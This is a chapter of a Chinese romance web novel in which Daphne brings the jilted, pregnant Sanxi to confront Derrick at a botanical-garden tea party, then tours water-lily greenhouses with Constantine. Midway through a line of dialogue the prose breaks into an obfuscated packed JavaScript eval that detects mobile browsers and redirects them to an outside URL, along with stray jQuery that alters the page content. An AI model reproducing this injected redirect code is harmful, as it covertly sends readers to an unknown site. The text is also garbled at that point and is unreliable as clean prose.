55. 睡莲下午茶
作品:《再看我就报警了》 睡莲下午茶在下午三点开始,所以她有足够的时间打扮自己。
水蓝色的塔夫绸衣裙,后腰处七八层白色蕾丝与袖口、裙摆的蕾丝相应,圆形敞开式立领可以露出一段修长的脖颈和洁白的锁骨。
黛芙妮的那顶小巧的水蓝色帽子外还有一层环绕包裹的网纱,正适合有阳光的日子佩戴。
两点半她戴上手套将扇子挂在手腕处坐上马车,让道奇前往加尔顿宅接上桑席。
“黛芙妮。”桑席双手交叠遮在肚子上,她今天上了妆很好地掩盖了虚弱的气色。
粉色的裙子和帽子配上她的小卷发,任谁也瞧不出她其实是一位母亲。
“谢谢你。”等马车再次启程的时候,她抱住了黛芙妮。
“是什么让你改变了想法?”黛芙妮问她。
“为什么一切都要我来承担,他却可以站在干净的砖地上?他哄骗了我却没有任何代价,而我很可能会死......”桑席双手握拳竭尽全力不让自己抖动,她很少会和一个人对视五秒以上,不安和羞涩常常用频繁的眨眼来减缓,这回她却坚定了很多。
“除了道歉让他身败名裂?你还希望能得到什么赔偿?”黛芙妮很好奇。
“我想要什么得看他打算怎么解决。”桑席停顿了一下,那双日渐空洞的眼睛烧起怒火,“几个月前说去法国之后再也没有给我写过信,没有见过面。我拿到地址后就去找过他,可他不肯见我佣人只推说他还在国外,很明显我被抛弃了。”
在黛芙妮看来德里奇最多也只能拿出一笔钱来补偿桑席,这不是她看不起桑席而是社会就是这样,女人未婚先孕会失去一切,男人只不过被不痛不痒地骂几句,过段时间还会有人帮他辩解‘他只是太受欢迎了’‘他自己都还是个孩子呢’。
如果闹大了这场对决中失败的一定会是女人,对方拿钱解决是最大的可能,只希望补偿款是一笔将来桑席不结婚也能安然过一辈子的数额。
马车将她们送到植物园的南门,黛芙妮从小包里拿出那张邀请函递给守门员。
南门没什么人,偶有几个穿着鲜亮的女士结伴同行。
她们穿过修剪整齐但已经变得枯黄的草坪,走向前方那座由三个圆形组成的玻璃温室。
黛芙妮第一次来南门,发现从这里出发去睡莲温室比从正门走快了一倍的时间。
桑席挽着她的手,头低下不乱看也不希望别人注意到她。
草坪的尽头是一个灌木拱门,姑娘们娇俏的笑声和先生们高谈论阔的说话声就从那响起。
穿过那道拱门,几张铁丝长椅错落地放在四周,最中间是一张长长的桌子,上面摆满了甜品和酒水。
“黛芙妮。”
康斯坦丁今天没有系领结,只在黑色马甲和外套上挂了一块纯金怀表作为装饰,帽子和手杖也都去掉了比起往日的正经严肃多了几分懒散。
他手里拿了两杯酒水:“下午好,女士。”
“午安,康斯坦丁。我上次来都没有发现还有这样一块地方。”黛芙妮接过他手里的高脚杯,“桑席,这是路威尔顿先生。康斯坦丁,这是桑席。”
“下午好,路威尔顿先生。我叫桑席·卡斯蒂奥。”桑席激动又感激地行跪膝礼。
康斯坦丁微微点头,快速说了一声:“午安,卡斯蒂奥小姐。”
桑席抬起头:“谢谢,谢谢!路威尔顿先生,你是位慷慨热心善良的绅士,十分感谢你的帮助。”
康斯坦丁点头,侧过脸很快找到目标:“德里奇!过来一下。”
“康斯坦丁?你居然会来参加下午茶,我刚刚还以为自己看错了。”那个男人有一圈淡淡的胡渣,长着一张纯良的脸,等他将目光放在桑席身上时愣住了。
“我想你们应该有事需要聊聊。”康斯坦丁瞥了他一眼说,“那么我和黛芙妮就先离开了。”
桑席松开了黛芙妮的手:“我没事。”
黛芙妮挽上康斯坦丁的手臂,一步三回头地和他穿过这片草地往温室里走去。
睡莲温室和其他温室不同,它由三个小温室组成。每个小温室中间都连接了一条走廊,在整个温室的背面也就是草坪的旁边有一块修建整洁的花园,中央修建了一座小天使喷泉。
黛芙妮和康斯坦丁走进的第一个玻璃房的中间是个圆形水池,周围围了一圈铁制半腰高的雕花栏杆。
圆圆的绿色荷叶中矗立着几十株紫色的荷花,每一朵都有黛芙妮两只手大,椭圆形的花瓣,边缘是更深的紫色。
她将双手放在栏杆上:“真漂亮。”
康斯坦丁跟着她停下,他无意于那些引得不少人赞美的花朵只慵懒地嗯了一声,表达他在听。
黛芙妮围着栏杆走了半圈,与她前几个月看到的那一批淡粉色的花朵比显然这批更罕见。
“这是什么品种?”她问。
“巨花睡莲,产自澳大利亚。”康斯坦丁说。
“我从未见过,真漂亮。”她笑着说,继续欣赏鲜花。
第一间玻璃房转了一圈过后,俩人通过走廊来到第二间。
水池同样修在正中间,只不过池子是长方形的且没有围栏,高度在黛芙妮的大腿处。
她快步走到水池边,弯腰凑近那朵使劲伸长了花梗的白蓝色睡莲,它的花瓣比巨花睡莲更短,花型更饱满。
最外面一圈的花瓣是淡蓝色的越往中心靠越白。
比起前面那个温室明显这间人气更旺,不少小姐、太太都能方便地伸出手轻轻抚摸那一朵朵等待欣赏的花朵。
“永恒睡莲,同样产自澳大利亚。”康斯坦丁双手插在裤兜里看着十足的权贵人士,实则在做介绍的工作,“叶缘有尖锐的锯齿状,喜阳光,所以在晚上花朵会闭合,到早上又会张开。”
“神奇而且很香。”黛芙妮轻轻抽动鼻子,一股淡淡的清香让她沉醉。
“小心。”
康斯坦丁怕她摔进去,伸出一只手揽在她的肩膀上。
黛芙妮感受到肩膀上的重量,立刻回过神直起身:“谢谢。”
和没有血缘关系的男士那么近距离地接触也不过是第二次罢了,她缩了缩肩膀。
“康斯坦丁!你居然在这里,我还以为你跑到法国去了。”一个大肚子、大胡子的老先生携着他的妻子走来。
“许久不见。查普曼,太太。”康斯坦丁微蹙眉头,转过身去。
“这是?”查普曼先生看向黛芙妮。
“狄默奇小姐。”康斯坦丁介绍说。
“下午好,先生,下午好,太太。”黛芙妮走到康斯坦丁身侧,屈膝。
“漂亮的姑娘,我没见过你。”查普曼太太瞧着亲切,说话也温温柔柔的。
“我是今年才搬来曼彻斯特的。”黛芙妮说。不过她知道最主要的原因是她并非他们的阶层。
“希望你会喜欢这里。”查普曼太太笑着说,但显然对方把她当作他们阶级的了。
“我们找个地方聊聊?”查普曼先生看向康斯坦丁,“我真是要被阿特金森烦死了。”
“今天我有要事,改天吧。”康斯坦丁不带思考地拒绝,“改日见,太太。”
黛芙妮见他要离开也和查普曼夫妇道别。
“我是不是耽误了你的工作?其实我不用你陪着的。”黛芙妮说。
“难道我让你的眼睛难受了吗?”康斯坦丁说。
“没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869686|184350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!我只是怕耽误你,毕竟陪我看花不是什么要紧事。”黛芙妮说。
“是不是要紧事得看我怎么判断,至少和查普曼谈论在我这里就是最不要紧的事。”
黛芙妮突然夸张地松口气:“看来我比自己想象得要受欢迎些。”
康斯坦丁背在身后的手捏紧,他看着黛芙妮勾起嘴角。
看他笑了,黛芙妮才真的有受宠若惊的感觉,本来那么做只是觉得气氛好像有些严肃。
他们离开第二间玻璃房来到第三间。
“那是什么?天呐!”黛芙妮吃惊不已。
第三间温室的水池比第一间还大,周围的栏杆却只围了三分之二,露出来的缺口处有很多人挤着。
这里没几朵荷花有的只是巨大的莲叶。
一位小姐在员工的帮助下小心翼翼地踩在巨大的睡莲叶上。
“我没有掉下去!”她捂住嘴,不停地尖叫。
那圈看热闹的人鼓掌发出赞叹的声音。
“王莲。植物学家在亚马逊河附近发现的,成熟的王莲可以承载一个成年人的体重。”康斯坦丁将右手放在黛芙妮的右侧,这里人多很容易被挤到,“小心。”
黛芙妮现在的注意力全在王莲上,这超出了她的认知,满脑子都只有:“天呐!天呐!”
“你想去试试吗?”康斯坦丁问她。
他们离得很近,只要他低头他的气息就能让黛芙妮的肌肤感受到异样。
“不了。”黛芙妮有点心动,但更多的是不好意思。
第二个上去的是一个七八岁的小姑娘,她还胆大地跳了一下差点把那些大人们吓得晕过去。
一连看了好几个,黛芙妮才意犹未尽地打算离开。
康斯坦丁也在她注意力往回拉的时候放开了右手。
从温室里出来,黛芙妮还处在激动中:“只有见识过才知道自己有多么的无知,这世界上有那么多美丽的事物我没见过,真是遗憾。”
“如果你看过了,其实会觉得也不过如此。”康斯坦丁说。
他们漫步在室外的喷泉周围,此刻的阳光正有力,一点点冷风并不碍事。
“我才不会这么想,只要是没见过的都是一种新奇的体验。”黛芙妮说,“如果可以,我想去欧洲旅游。”
“难道有人会阻止你吗?狄默奇先生可不太像。”康斯坦丁说。
“倒也不是。最主要的原因是金钱,从英国出发去比利时、瑞士、法国,为期六周大概需要一百英镑,这只是最基础的住宿和车费,如果加上其他需求大概是两百英镑。”黛芙妮说,“太贵了。”
康斯坦丁认真地听完:“你了解过?”
“我在报纸上看到的,它代替我的眼睛去过很多地方然后回来告诉我。”黛芙妮说,“康斯坦丁,你一定去过很多地方吧。”
“我第一次去的是美国,在那里住了五年。”康斯坦丁说,“五年的时间大部分土地都走了一遍。”
“你去工作吗?”黛芙妮好奇,确实有听说过他以前在国外发了财。
“参加淘金热。”康斯坦丁说。
“你一个人吗?路威尔顿小姐有去吗?”黛芙妮问。
“我一个人。”康斯坦丁说。在美国他以极快的速度积累了原始资本,当年的一条金矿如今已经换成了十几条各色矿产。
“你真厉害。”黛芙妮十分敬佩,“当时你多大?”
“十八岁。”康斯坦丁。
“不可思议!十足的勇气!你才十八岁就一个人去了美国。”黛芙妮惊愕地看向他。
她的敬佩极大地满足了康斯坦丁,他有一样东西是可以让她另眼相看的,还是一样他最不缺的东西。

